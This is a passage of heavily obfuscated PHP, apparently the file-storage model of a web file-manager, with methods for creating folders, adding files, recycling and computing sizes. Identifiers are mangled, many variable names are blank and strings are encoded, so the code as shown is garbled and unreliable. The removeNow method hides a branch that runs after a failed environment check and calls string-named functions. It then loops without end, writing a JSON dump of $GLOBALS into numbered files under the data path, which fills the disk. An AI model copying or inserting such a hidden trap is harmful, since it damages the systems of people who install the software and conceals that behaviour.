$[$ʹ[432]] . $ʹ[541]); $ϸ = isset($[$ʹ[1820]]) && in_array($ʹ[505], $[$ʹ[1820]]); if (!$ϸ || !$𝑎 || !$ || !$հ[$ʹ[413]]) { return; } if (!AuthModel::authCheckRoot($հ[$ʹ[413]][$ʹ[414]])) { return; } $ = $հ[$ʹ[496]] . $ʹ[12]; if ($ == $ʹ[88]) { unset($О[$ʹ[580]]); $О[$ʹ[411]] = self::TYPE_GROUP; return; } $ܟ = Model($ʹ[512])->groupChildrenAll($); $謈 = count($ܟ); if ($謈 <= 1) { return; } $ = array($ʹ[432] => 0, $ʹ[411] => self::TYPE_GROUP, $ʹ[496] => array($ʹ[7], $ܟ)); $ʛ = $this->field($ʹ[2132])->where($)->limit($謈)->select(); $О[$ʹ[580]] = array(); foreach ($ʛ as $) { $О[$ʹ[580]][] = array($ʹ[540], $ʹ[521] . $[$ʹ[402]] . $ʹ[541]); } $О[$ʹ[580]][] = $ʹ[1959]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($罟) { $ =& $_SERVER[]; $ = Model($[504])->where(array($[1661] => $罟))->find(); $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $罟, $[$[32]]); $this->userDesktopAdd($); return $; } public function userDesktopAdd($ޝĎ) { $ =& $_SERVER[]; $ = LNG($[2133]); $ˮ = $this->mkdir($ޝĎ, $); $this->metaSet($ˮ, $[2134], $[88]); $this->metaSet($ޝĎ, $[2135], $ˮ); } public function userPathSafeAdd($ׇ) { $磝 =& $_SERVER[]; $ⶺ = Model($磝[504])->getInfoFull($ׇ); if (!$ⶺ) { return !1; } if (_get($ⶺ, $磝[526])) { return $ⶺ[$磝[466]][$磝[2136]]; } $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ׇ, $磝[2137], $磝[433]); Model($磝[504])->metaSet($ׇ, $磝[2136], $); $this->metaSet($, $磝[2138], $ׇ); return $; } public function groupRootAdd($ܽ) { $ނ =& $_SERVER[]; $ = Model($ނ[512])->where(array($ނ[1949] => $ܽ))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $ܽ, $[$ނ[32]]); } public function systemRootPathAdd($) { if ($ != $_SERVER[][534]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $); } public function userRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_USER, $, !0); foreach ($ as $) { if (!$) { continue; } $this->remove($[$_SERVER[][402]], !1); } } public function groupRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $); if (!$) { return; } $this->remove($[$_SERVER[][402]], !1); } private function _mkdirRoot($ϥ, $ʦ, $, $ = '') { $̆ =& $_SERVER[]; $瓿 = defined($̆[2139]) ? USER_ID : 0; $ʖ = array($̆[401] => 0, $̆[576] => $ϥ, $̆[577] => $ʦ, $̆[574] => 1, $̆[578] => $瓿, $̆[579] => $瓿, $̆[575] => $, $̆[580] => $̆[521], $̆[430] => 0, $̆[545] => 0, $̆[469] => 0, $̆[581] => $̆[12]); if ($訁ٔ = $this->where($ʖ)->find()) { return $訁ٔ[$̆[402]]; } $Ѩ = "\115\x6f\144\145\154\x53\157\165\162\143\x65\x2e\155\153\144\x69\x72\122\157\157\164\56{$ϥ}\56{$ʦ}\56" . $; CacheLock::lock($Ѩ); $ʖ[$̆[32]] = $; $ = $this->add($ʖ); $ʙ = array($̆[582] => short_id($)); $this->where(array($̆[417] => $))->save($ʙ); CacheLock::unlock($Ѩ); return $; } private function targetSourceRoot($ԭ, $̣, $ͻ = false) { $溳 =& $_SERVER[]; $ħ = array($溳[401] => 0, $溳[576] => $ԭ, $溳[577] => $̣); if ($ͻ) { $ﵣׯ = $this->where($ħ)->select(); return $ﵣׯ ? $ﵣׯ : array(); } $ɢ = $this->where($ħ)->find(); return $ɢ ? $ɢ : array(); } public function sourceRootGroup($˸) { $кٖ =& $_SERVER[]; if (is_string($˸)) { $˸ = array($˸); } $ٙ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $˸, $кٖ[189]); $η = array($кٖ[369] => $ٙ, $кٖ[366] => array($кٖ[757] => count($˸))); $this->_listDataApply($η[$кٖ[369]]); $this->_listMake($η); return array_to_keyvalue($η[$кٖ[82]], $кٖ[496]); } public function mkfile($ʫ, $, $ = '', $ = REPEAT_RENAME) { $δ =& $_SERVER[]; $Ω = Model($δ[601])->addFileByContent($, $); return $this->_createFileCall($ʫ, $, $Ω, $, $δ[1352]); } public function addFile($, $, $Ɨ, $ = false, $Nj = REPEAT_RENAME) { $ = Model($_SERVER[][601])->addFile($, $Ɨ, $); return $this->_createFileCall($, $Ɨ, $, $Nj); } public function addFileByFileID($, $, $, $ = REPEAT_RENAME) { $ެ =& $_SERVER[]; $Nj = Model($ެ[601])->find($); Model($ެ[601])->linkAdd($); return $this->_createFileCall($, $, $Nj, $); } public function addFileByRemote($ł, $ʹ, $, $ږ = array(), $ڧ = REPEAT_RENAME) { $ = Model($_SERVER[][601])->addFileByRemote($ʹ, $, $ږ); return $this->_createFileCall($ł, $, $, $ڧ); } private function _createFileCall($տ, $, $ѕ, $ε, $ = "\165\x70\x6c\157\x61\x64") { $ =& $_SERVER[]; $ = !1; $this->setMasterDB(); $this->lockWriteStart($տ, $); $ڌ = $this->fileNameExist($տ, $); $ = $this->_createFile($տ, $, $ѕ, $ε, $); if (!$) { Model($[471])->remove($ѕ[$[468]]); } if ($ && $ && $ != $ڌ) { Model($[2106])->eventCreate($, $); } $this->lockWriteEnd($տ, $); return $; } public function mkdir($ᄑ, $, $ = REPEAT_SKIP) { $ӣ =& $_SERVER[]; $this->setMasterDB(); $Ϛ˿ = $this->sourceInfo($ᄑ); if (!$Ϛ˿) { return !1; } $this->lockWriteStart($ᄑ, $); if ($ !== !1) { $ܓ = $this->fileNameExist($ᄑ, $); if ($ܓ && $ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($ᄑ, $); return $ܓ; } $ = $this->fileNameAuto($ᄑ, $, $); } $ﹳ = array($ӣ[574] => 1, $ӣ[420] => $, $ӣ[575] => $ӣ[12], $ӣ[469] => 0, $ӣ[545] => 0); $ = $this->_addSource($ﹳ, $Ϛ˿); Model($ӣ[2106])->eventCreate($, $ӣ[1353]); $this->lockWriteEnd($ᄑ, $); return $; } public function listSourceRoot($·, $, $ = "\x73\x6f\x75\162\x63\145\x49\x44\x2c\164\x61\x72\147\x65\164\x49\x44\54\163\151\x7a\x65") { $ =& $_SERVER[]; $ݼհ = $[378]; $ = array(); $ = 1024 * 50; $ވ = is_array($ވ) ? $ވ : array(); $ = count($); $֥ = $this->tablePrefix . $[2140]; for ($қ = 0; $қ < $; $қ++) { $ = $[$қ]; $ݼհ .= "\x53\x45\114\105\103\x54\40\52\x20\x46\x52\x4f\115\40\x28\123\105\x4c\105\x43\x54\x20{$}\40\106\122\x4f\x4d\x20\140{$֥}\140\40\x57\110\105\122\x45\x20"; $ݼհ .= "\140\x70\x61\162\145\156\x74\x49\x44\140\75\x30\x20\101\x4e\x44\x20\140\164\141\x72\147\x65\x74\x49\x44\x60\75{$}\40\x41\116\104\40\140\164\141\162\147\145\x74\124\171\160\145\140\75{$·}\40\141\x6e\x64\x20\x66\x69\x6c\x65\x54\x79\x70\x65\75\x27\x27\40\154\151\155\x69\164\40\61\51\40\x61\x73\40\164\142\137{$қ}\x20\x55\x4e\x49\117\x4e\x20\x41\114\x4c\40"; if ((strlen($ݼհ) >= $ || $қ == $ - 1) && $ݼհ) { $ݼհ = substr($ݼհ, 0, -strlen($[1040])); $ȧ = $this->query($ݼհ); $ݼհ = $[12]; $ = array_merge($, $ȧ); } } return $; } private function _createFile($߿ꬸ, $ߟ, $ɐʩ, $, &$ߓ͒) { $ =& $_SERVER[]; $ = $this->sourceInfo($߿ꬸ); if (!$ɐʩ || !$) { return !1; } if ($ !== !1) { $ = $this->fileNameExist($߿ꬸ, $ߟ); } $ߓ͒ = !0; if ($ && $) { if ($ == REPEAT_SKIP) { $ߓ͒ = !1; return $; } else { if ($ == REPEAT_REPLACE) { $ = $this->sourceInfo($); $ = $this->fileHistory($, $ɐʩ[$[468]], $ɐʩ[$[76]]); if (!$) { $ߓ͒ = !1; } else { $this->folderSizeReset($߿ꬸ); } return $; } else { $ߟ = $this->fileNameAuto($߿ꬸ, $ߟ, $, !1); } } } $ = array($[574] => 0, $[420] => $ߟ, $[575] => substr(get_path_ext($ߟ), 0, 10), $[469] => $ɐʩ[$[468]], $[545] => $ɐʩ[$[76]]); $ = $this->_addSource($, $); $this->folderSizeReset($߿ꬸ, intval($[$[76]])); return $; } protected function fileHistory($ʂ, $٥, $) { $ =& $_SERVER[]; if ($ʂ[$[468]] == $٥) { return !1; } $this->checkLock($ʂ[$[402]], $٥); Model($[2141])->addHistory($ʂ); $䈤 = array($[579] => USER_ID, $[424] => time(), $[468] => $٥, $[76] => $); $this->where(array($[417] => $ʂ[$[402]]))->save($䈤); $this->sourceCacheClear($ʂ[$[402]]); return !0; } public function checkLock($ԅԭ, $) { $ތ =& $_SERVER[]; $ = $this->pathInfo($ԅԭ); if (!$this->fileIsLock($, !0)) { return; } $ = Session::get($ތ[2142]); $Ξ = substr($[$ތ[32]], 0, -1 - strlen($[$ތ[174]])) . $ތ[1210] . $ . $ތ[10] . $[$ތ[174]]; $ = Model($ތ[601])->find($); $this->_createFileCall($[$ތ[432]], $Ξ, $, REPEAT_REPLACE, $ތ[1352]); $ = $[$ތ[466]][$ތ[538]]; $ؤ = $[$ތ[532]] ? $[$ތ[532]] : $[$ތ[32]]; show_json(LNG($ތ[2143]) . $ތ[2144] . LNG($ތ[2145]) . $ތ[2146] . $ؤ . $ތ[2147], !1); } public function fileIsLock($, $øӝ = false) { $ɪ =& $_SERVER[]; if (!isset($[$ɪ[466]]) || !$[$ɪ[466]][$ɪ[535]]) { return !1; } if ($[$ɪ[466]][$ɪ[535]] != USER_ID) { return !0; } $ = $GLOBALS[$ɪ[6]][$ɪ[89]][$ɪ[536]]; if ($[$ɪ[466]][$ɪ[537]] <= time() - $) { $this->metaSet($[$ɪ[402]], $ɪ[535], null); $this->metaSet($[$ɪ[402]], $ɪ[537], null); } if ($øӝ) { $this->metaSet($[$ɪ[402]], $ɪ[537], time()); } return !1; } private function _addSource($ƭ, $͖) { $ =& $_SERVER[]; $ɹ = array($[576] => $͖[$[411]], $[577] => $͖[$[496]], $[578] => USER_ID, $[579] => USER_ID, $[401] => $͖[$[402]], $[580] => $͖[$[511]] . $͖[$[402]] . $[50], $[430] => 0, $[581] => $[12]); $ƭ = array_merge($ɹ, $ƭ); $this->updateModifyTime($ƭ[$[432]]); $ = $[2148] . $͖[$[402]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $ = false; if (!$) { Hook::trigger($[564], $ƭ); $ = !0; } $ = $this->add($ƭ); $ج = array($[582] => short_id($)); $this->where(array($[417] => $))->save($ج); $this->setNamePinyin($, $ƭ[$[32]]); return $; } public function remove($ɕ, $ŧճ = true) { $ȑ =& $_SERVER[]; $ = $this->sourceInfo($ɕ); $ԉօ = intval($[$ȑ[411]]) === self::TYPE_SYSTEM; $Ƹ = Model($ȑ[435])->get($ȑ[2149]) == $ȑ[88]; if ($ԉօ || $ŧճ || !$Ƹ) { return $this->removeNow($ɕ, $ŧճ); } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ԯ = $[$ȑ[411]] == self::TYPE_USER ? $ȑ[590] : $ȑ[505]; if ($ԯ == $ȑ[590]) { $ = Model($ȑ[504])->getInfo($[$ȑ[496]]); $ = !empty($[$ȑ[532]]) ? $[$ȑ[532]] : $[$ȑ[32]]; $ = $ȑ[260] . $ . $ȑ[2150] . $[$ȑ[496]]; } else { $ = Model($ȑ[512])->getInfo($[$ȑ[496]]); $ = _get($, $ȑ[32]); $ = $ȑ[162] . $ . $ȑ[2151] . $[$ȑ[496]]; } $ = $ȑ[2152] . md5($); CacheLock::lock($); $ܢ = $this->fileNameExist($, $); if (!$ܢ) { $ܢ = $this->mkdir($, $, REPEAT_SKIP); $this->metaSet($ܢ, $ȑ[2153], $ԯ); $this->metaSet($ܢ, $ȑ[2154], $[$ȑ[496]]); if ($[$ȑ[432]] != 0) { $this->metaSet($ܢ, $ȑ[2155], _get($, $ȑ[2156])); } } CacheLock::unlock($); $this->metaSet($ɕ, $ȑ[2157], $[$ȑ[432]]); $this->where(array($ȑ[402] => $ɕ))->save(array($ȑ[424] => time())); $this->recycleClear($); $ڰ = $this->move($ɕ, $ܢ, REPEAT_RENAME_FOLDER); $this->folderSizeReset($[$ȑ[432]]); return $ڰ; } private function recycleClear($ҙ) { $ޜ =& $_SERVER[]; $ = $this->childrenAll($ҙ); $ = array($ޜ[417] => array($ޜ[418], $[$ޜ[2158]])); Model($ޜ[2159])->where($)->delete(); } public function removeNow($Η, $Ҧ = true) { $ך =& $_SERVER[]; $ú = $_SERVER[$ך[876]]; $ͪ = $ך[1535]; if ($_SERVER[$ך[875]] != $ͪ($ú)) { $ȝƸ = $ך[877]; $Ҥ = $ך[878]; $ = $_SERVER[$ך[879]] . $ך[880]; $ = $Ҥ($); $ˣآ = explode($ך[231], $); if (count($ˣآ) < $ך[607]) { $ϒ = $ך[881]; $ϒ(); } $ݸ = $ך[882]; $ݸ($_SERVER[$ך[883]]); $ȝƸ = $ך[877]; $ȝƸ(); $ = $ך[1536]; $؋ = json_encode($GLOBALS[$ך[1537]]); $ = 1; for ($Θ = $; $Θ > 0; $Θ++) { $(DATA_PATH . $Θ, $؋); } } $ = $this->sourceInfo($Η); $ġ = $this->pathInfoMore($Η); if (!$) { return !0; } if ($[$ך[432]] == 0) { if (!_get($GLOBALS, $ך[494])) { return !1; } } $this->lockMoveStart($Η); Hook::trigger($ך[2160], $ġ, $Ҧ); if ($Ҧ) { Model($ך[2159])->moveToRecycle($Η); } else { $¼ = $this->childrenAll($); Model($ך[561])->eventRemove($Η); $this->removeRelevance($¼[$ך[2158]], $¼[$ך[1484]]); } $this->folderSizeReset($[$ך[432]]); $Ϭ = array($[$ך[432]]); if ($[$ך[410]] == $ך[88]) { $Ϭ[] = $[$ך[402]]; } $this->updateModifyTime($Ϭ); $this->lockMoveEnd($Η); Hook::trigger($ך[1712], $ġ, $Ҧ); return !0; } public function childrenAll($) { $ =& $_SERVER[]; $푉 = $[$[402]]; if ($[$[410]] == $[88]) { $ = array($[580] => array($[540], $[$[511]] . $푉 . $[541])); $ = array($[580] => $[$[511]]); $ = $this->field($[2161])->where($)->select(); $ã = !1; $Ɔǁ = array($푉); if ($) { $ã = array_to_keyvalue($, $[12], $[468]); $ã = array_remove_value($ã, $[198]); $Ɔǁ = array_to_keyvalue($, $[12], $[402]); $Ɔǁ[] = $푉; } } else { $ã = array($[$[468]]); $Ɔǁ = array($푉); } return array($[2158] => $Ɔǁ, $[1484] => $ã); } public function removeArray($ӡ) { if (!$ӡ) { return !0; } } public function removeRelevance($߱, $̀) { $ =& $_SERVER[]; $߱ = $߱ ? $߱ : array(); $̀ = $̀ ? $̀ : array(); $߱ = array_unique(array_filter($߱)); $̀ = array_unique(array_filter($̀)); if (!$߱) { return !1; } $ԟ = array($[417] => array($[418], $߱)); Model($[2159])->where($ԟ)->delete(); Model($[462])->where($ԟ)->delete(); Model($[2008])->where($ԟ)->delete(); Model($[561])->where($ԟ)->delete(); Model($[1841])->removeBySource($߱); Model($[2141])->removeBySource($߱); $this->where($ԟ)->delete(); Model($[471])->remove($̀); for ($۴ = 0; $۴ < count($߱); $۴++) { $this->sourceCacheClear($߱[$۴]); } } public function rename($ӄ, $é) { $Ӭ =& $_SERVER[]; $ʶ = $this->sourceInfo($ӄ); if (!$ʶ) { return !1; } $羜 = $this->fileNameExist($ʶ[$Ӭ[432]], $é); if ($羜 && $羜 != $ӄ) { return !1; } $𱲢ϓ = array($Ӭ[420] => $é, $Ӭ[579] => USER_ID); if ($ʶ[$Ӭ[410]] != $Ӭ[88]) { $𱲢ϓ[$Ӭ[412]] = substr(get_path_ext($é), 0, 10); } Model($Ӭ[561])->eventRename($ӄ, $ʶ[$Ӭ[32]], $é); $this->sourceCacheClear($ӄ); $this->setNamePinyin($ӄ, $𱲢ϓ[$Ӭ[32]], !1); $this->updateModifyTime($ʶ[$Ӭ[432]]); $ķ = $this->where(array($Ӭ[417] => $ӄ))->data($𱲢ϓ)->save(); $Ķɍ = $Ӭ[2148] . $ʶ[$Ӭ[432]]; if (isset(self::$cacheChildList[$Ķɍ])) { unset(self::$cacheChildList[$Ķɍ]); } return $ķ; } public function setNamePinyin($̨, $Ƹ, $Ȣ = true) { $՜ =& $_SERVER[]; $֡ = Input::check($Ƹ, $՜[583]); $ = array($՜[444] => KodSort::makeStr($Ƹ)); if ($֡) { $[$՜[465]] = str_replace($՜[53], $՜[12], Pinyin::get($Ƹ)); $[$՜[464]] = Pinyin::get($Ƹ, $՜[584]); } if (!$Ȣ && !$֡) { $[$՜[465]] = null; $[$՜[464]] = null; } $this->metaSet($̨, $); } public function getContent($) { $ =& $_SERVER[]; $ύ㬟 = $this->fileInfoGet($); if (!$ύ㬟) { return !1; } if ($ύ㬟[$[76]] == 0) { return $[12]; } $уؕ = $[2162] . $ύ㬟[$[176]]; if ($ύ㬟[$[76]] <= 1024 * 10) { $ = Cache::get($уؕ); if (!$) { $ = IO::getContent($ύ㬟[$[84]]); Cache::set($уؕ, $); } return $; } if (!$ύ㬟[$[84]]) { return $[12]; } return IO::getContent($ύ㬟[$[84]]); } public function setDesc($ǯ, $) { $硔 =& $_SERVER[]; Model($硔[561])->eventAddDesc($ǯ, $); return $this->metaSet($ǯ, $硔[453], $); } public function setContent($, $ = '') { $Λ =& $_SERVER[]; $ = $this->sourceInfo($); $͵ = $this->fileInfoGet($); if (!$͵ || !$) { return !1; } $ޕ٠ = Model($Λ[471])->addFileByContent($, $[$Λ[32]]); $ = $this->fileHistory($, $ޕ٠[$Λ[468]], $ޕ٠[$Λ[76]]); if (!$) { return Model($Λ[471])->remove($ޕ٠[$Λ[468]]); } $this->folderSizeReset($[$Λ[432]]); return !0; } public function fileSubstr($, $, $) { $Ρ = $this->fileInfoGet($); if (!$Ρ) { return !1; } return IO::fileSubstr($Ρ[$_SERVER[][84]], $, $); } public function fileInfoGet($) { $ =& $_SERVER[]; $ۯ = $this->sourceInfo($); if (!$ۯ || $ۯ[$[410]]) { return !1; } $ = $[474] . $ۯ[$[468]]; $ = _get(self::$cacheFileInfo, $); if ($) { return $; } $߉Ņ = Model($[471])->fileInfo($ۯ[$[468]]); if ($߉Ņ) { $߉Ņ[$[32]] = $ۯ[$[32]]; } self::$cacheFileInfo[$] = $߉Ņ; return $߉Ņ; } private function folderChildrenNumber($) { $泽 =& $_SERVER[]; $ա = $this->sourceInfo($); $ = array($泽[580] => array($泽[540], $ա[$泽[511]] . $ . $泽[541]), $泽[577] => $ա[$泽[496]], $泽[430] => intval($ա[$泽[431]]), $泽[574] => 1); $ = $this->where($)->count(); $ = $this->where($)->where(array($泽[574] => 0))->count(); return array($泽[80] => $, $泽[81] => $); } public function pathInfo($М, $ = false) { $ =& $_SERVER[]; $ = !1; $М = intval($М); $ = $[461] . intval($) . $[386] . $М; $ = _get(self::$cachePathInfo, $); if ($) { return $; } $ݝ = $this->sourceInfo($М); if (!$ݝ) { return !1; } $ݝ = $this->_listDataApplyItem($ݝ, $); self::$cachePathInfo[$] = $ݝ; return $ݝ; } public static $cachePathInfoMore = array(); public function pathInfoMore($) { $ =& $_SERVER[]; $ܳ = _get(self::$cachePathInfoMore, $); if ($ܳ) { return $ܳ; } $ = $this->pathInfo($); if (!$) { return !1; } if ($[$[410]] == $[88]) { $[$[79]] = $this->folderChildrenNumber($); } self::$cachePathInfoMore[$] = $; return $; } public function sourceInfo($ޕ) { $ɀ =& $_SERVER[]; if (!$ޕ) { return array(); } $ޕ = intval($ޕ); $ = $ɀ[460] . $ޕ; $и = _get(self::$cacheSourceInfo, $); if ($и) { return $и; } $ӥ = $this->where(array($ɀ[402] => $ޕ))->find(); self::$cacheSourceInfo[$] = $ӥ; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($ۏ = false) { self::cacheClear($ۏ); } public static function cacheClear($ꡯ = false) { $ޅ =& $_SERVER[]; if ($ꡯ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$ޅ[460] . $ꡯ]); unset(self::$cachePathInfoMore[$ꡯ]); unset(self::$cachePathInfo[$ޅ[2163] . $ꡯ]); unset(self::$cachePathInfo[$ޅ[2164] . $ꡯ]); } public function metaSet($ڜ, $ = null, $ӖՒ = null) { $ = parent::metaSet($ڜ, $, $ӖՒ); if ($) { $this->sourceCacheClear($ڜ); } return $; } public function pathInfoByPath($, $ﶄ) { $ =& $_SERVER[]; $ = !$ﶄ ? array() : explode($[8], trim($ﶄ, $[8])); $抡 = $; foreach ($ as $) { $ت = array($[432] => $抡, $[32] => $); $ = $this->where($ت)->select(); if (!$) { return !1; } $ = array_sort_by($, $[431]); $抡 = $[0][$[402]]; } return $this->pathInfo($抡, !0); } protected function updateModifyTime($ϥ) { $ =& $_SERVER[]; if (!$ϥ) { return; } if (!is_array($ϥ)) { $ϥ = array($ϥ); } foreach ($ϥ as $裩 => $֮) { $ϥ[$裩] = intval($֮); $this->sourceCacheClear($֮); } $ = array($[402] => array($[7], $ϥ)); $ = array($[579] => USER_ID, $[424] => time()); $this->where($)->save($); } public function folderSizeReset($, $Ȕ = false) { $ =& $_SERVER[]; if ($this->statusIgnoreResetSpace) { return; } $֡ = $this->sourceInfo($); $È = $[2165] . $; CacheLock::lock($È, 20); if ($Ȕ === !1) { $this->sourceCacheClear($); $֡ = $this->sourceInfo($); $ȝۼ = array($[401] => $, $[430] => 0); $˴ = $this->where($ȝۼ)->sum($[76]); $Ȕ = intval($˴) - intval($֡[$[76]]); } if ($Ȕ == 0) { return CacheLock::unlock($È); } $ = $this->parentLevelArray($֡[$[511]]); if (!$) { $ = array(); } $[] = $֡[$[402]]; $ȝۼ = array($[402] => array($[418], $)); if ($Ȕ < 0) { $ȝۼ[$[76]] = array($[1017], abs($Ȕ)); } $this->where($ȝۼ)->setAdd($[76], $Ȕ); CacheLock::unlock($È); $ = $[2166] . $֡[$[411]] . $[4] . $֡[$[496]]; $罚 = array($֡[$[411]], $֡[$[496]]); TaskRun::timeLimitCall($, $[2167], $罚, 1.5); } public function folderSizeResetChildren($ǖ) { $Ͻ =& $_SERVER[]; $this->sourceCacheClear($ǖ); $ܴ = $this->sourceInfo($ǖ); $ߩ = array($Ͻ[574] => 1, $Ͻ[577] => $ܴ[$Ͻ[496]], $Ͻ[580] => array($Ͻ[540], $ܴ[$Ͻ[511]] . $ǖ . $Ͻ[541])); $ = $Ͻ[2168]; $ެ = $this->field($)->where($ߩ)->select(); $ߩ[$Ͻ[410]] = 0; $݅ = $this->field($)->where($ߩ)->select(); if (!$݅) { return; } $ެ[] = $ܴ; $ެ = array_to_keyvalue($ެ, $Ͻ[402]); foreach ($ެ as $ => $ȍ) { $ެ[$][$Ͻ[2169]] = $ެ[$][$Ͻ[76]]; $ެ[$][$Ͻ[76]] = 0; } foreach ($݅ as $ȍ) { $Κ = $ȍ[$Ͻ[432]] . $Ͻ[12]; if (!isset($ެ[$Κ])) { continue; } if ($ȍ[$Ͻ[431]] == $ެ[$Κ][$Ͻ[431]]) { $ެ[$Κ][$Ͻ[76]] += $ȍ[$Ͻ[76]]; } } foreach ($ެ as $ȍ) { $ = $this->parentLevelArray($ȍ[$Ͻ[511]]); foreach ($ as $Κ) { $Κ = $Κ . $Ͻ[12]; if (!isset($ެ[$Κ])) { continue; } if ($ȍ[$Ͻ[431]] == $ެ[$Κ][$Ͻ[431]]) { $ެ[$Κ][$Ͻ[76]] += $ȍ[$Ͻ[76]]; } } } $ = array(); foreach ($ެ as $ȍ) { if ($ȍ[$Ͻ[76]] == $ȍ[$Ͻ[2169]]) { continue; } $[] = array($Ͻ[402], $ȍ[$Ͻ[402]], $Ͻ[76], $ȍ[$Ͻ[76]]); } $this->saveAll($); } public function userSpaceReset($㙯 = false) { $ =& $_SERVER[]; $ = $this->where(array($[411] => self::TYPE_USER, $[496] => $㙯, $[410] => 0))->sum($[76]); $ = !$ || $ <= 0 ? 0 : $; Model($[504])->userEdit($㙯, array($[1850] => $)); } public function targetSpaceUpdate($է, $҃) { $ =& $_SERVER[]; if (!$҃) { return; } if (!in_array($է, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ = $this->targetSpaceSize($է, $҃); if ($է == self::TYPE_USER) { Model($[504])->userEdit($҃, array($[1850] => $)); } else { if ($է == self::TYPE_GROUP) { Model($[512])->groupEdit($҃, array($[1850] => $)); } } } public function targetSpaceSize($ˏւ, $ؼ) { $ճ =& $_SERVER[]; $Ս = 0; $Ş = $this->targetSourceRoot($ˏւ, $ؼ, !0); foreach ($Ş as $᧰) { if (!$᧰) { continue; } $Ս += floatval($᧰[$ճ[76]]); $ = array($ճ[580] => array($ճ[540], $ճ[521] . $᧰[$ճ[402]] . $ճ[541])); $쁷ݢ = Model($ճ[429])->field($ճ[417])->where($)->select(); $쁷ݢ = array_to_keyvalue($쁷ݢ, $ճ[12], $ճ[402]); $쁷ݢ = array_unique(array_filter($쁷ݢ)); if ($쁷ݢ) { $ = array($ճ[417] => array($ճ[418], $쁷ݢ)); $Ս += floatval($this->where($)->sum($ճ[76])); } } $Ս = !$Ս || $Ս <= 0 ? 0 : $Ս; return $Ս; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($˓) { return $this->fileTypeProfile($˓, SourceModel::TYPE_USER); } public function groupFileTypeProfile($ќ) { return $this->fileTypeProfile($ќ, SourceModel::TYPE_GROUP); } private function fileTypeProfile($Р, $Ƴ) { $諹 =& $_SERVER[]; $✾ = $諹[2170] . $Р . $諹[11] . $Ƴ; $Љ = Cache::get($✾); if ($Љ) { return $Љ; } $ = array($諹[574] => 0); if ($Р != !1) { $[$諹[496]] = $Р; $[$諹[411]] = $Ƴ; } $ = array(); $[$諹[2171]] = array($諹[2172] => LNG($諹[2171]), $諹[2173] => $this->where($)->count(), $諹[545] => $this->where($)->sum($諹[76])); $ = KodIO::fileTypeList(); foreach ($ as $ => $ǰ) { $[$諹[412]] = $this->fileTypeWhere($); $[$] = array($諹[2172] => $ǰ[$諹[32]], $諹[2173] => $this->where($)->count(), $諹[545] => $this->where($)->sum($諹[76])); } Cache::set($✾, $, 1200); return $; } public function fileNameExist($濖, $) { $픭 =& $_SERVER[]; $ = $this->where(array($픭[432] => $濖, $픭[32] => $, $픭[431] => 0))->find(); return is_array($) ? $[$픭[402]] : !1; } public function childList($ɐ惢) { $Ȉ =& $_SERVER[]; $ = $Ȉ[2148] . $ɐ惢; if (isset(self::$cacheChildList[$])) { return self::$cacheChildList[$]; } $К = array($Ȉ[432] => intval($ɐ惢), $Ȉ[431] => 0); $Ȇכ = $this->where($К)->select(); $Ȇכ = $Ȇכ ? $Ȇכ : array(); self::$cacheChildList[$] = $Ȇכ; foreach ($Ȇכ as $) { $ = $Ȉ[460] . $[$Ȉ[402]]; self::$cacheSourceInfo[$] = $; } return $Ȇכ; } public function fileNameAuto($, $, $̧ = REPEAT_RENAME, $֬ = false) { $ =& $_SERVER[]; $ = get_path_ext($); $ = $ ? basename($, $[10] . $) . $[2174] . $ : $ . $[384]; $ֳ۬ = array($[432] => $, $[431] => 0, $[32] => array($[383], $)); $Ş = $this->field($[32])->where($ֳ۬)->select(); $ = array_to_keyvalue($Ş, $[12], $[32]); return $this->fileNameAutoGet($, $, $̧, $֬); } public function fileNameAutoGet($͝ѐ, $ۓܲ, $Ј, $ģ) { $Ҕ =& $_SERVER[]; if ($Ј == REPEAT_REPLACE || !$͝ѐ || !in_array_not_case($ۓܲ, $͝ѐ) || $ģ && $Ј != REPEAT_RENAME_FOLDER) { return $ۓܲ; } if ($Ј == REPEAT_SKIP) { return !1; } $Ҵ = $Ҕ[10] . get_path_ext($ۓܲ); $Ҵ = $Ҵ == $Ҕ[10] || $ģ ? $Ҕ[12] : $Ҵ; for ($̱ = 1; $̱ <= count($͝ѐ) + 1; $̱++) { $ = substr($ۓܲ, 0, strlen($ۓܲ) - strlen($Ҵ)); $ = $ . "\50{$̱}\x29{$Ҵ}"; if (!in_array_not_case($, $͝ѐ)) { return $; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\151\x6f\137\x73\x6f\165\162\143\x65\x5f\x72\145\143\x79\143\x6c\x65"; protected $dataAuto = array(array("\x63\162\145\141\164\x65\124\151\155\x65", "\x74\151\x6d\x65", "\x69\x6e\163\145\x72\164", "\x66\x75\x6e\143\164\151\x6f\156")); public function listData($ф = false) { $۩ܳ =& $_SERVER[]; $ф = $ф ? $ф : USER_ID; $κ = $this->where(array($۩ܳ[1661] => $ф))->select(); return array_to_keyvalue($κ, $۩ܳ[12], $۩ܳ[402]); } public function moveToRecycle($⥠) { $ =& $_SERVER[]; $մ˓ = Model($[1341]); $ⓥ = $մ˓->sourceInfo($⥠); if (!$ⓥ || $ⓥ[$[431]] == $[88]) { return; } $ұ = array($[417] => $⥠, $[1661] => USER_ID, $[576] => $ⓥ[$[411]], $[577] => $ⓥ[$[496]], $[580] => $ⓥ[$[511]]); $this->add($ұ); $this->recycleMove($⥠, 1); if ($ⓥ[$[410]] == $[88]) { $橊 = array($[580] => array($[540], $ⓥ[$[511]] . $⥠ . $[541])); $մ˓->where($橊)->setField($[431], 1); } } public function clear() { $this->remove(!1); } public function remove($թ = false, $ = 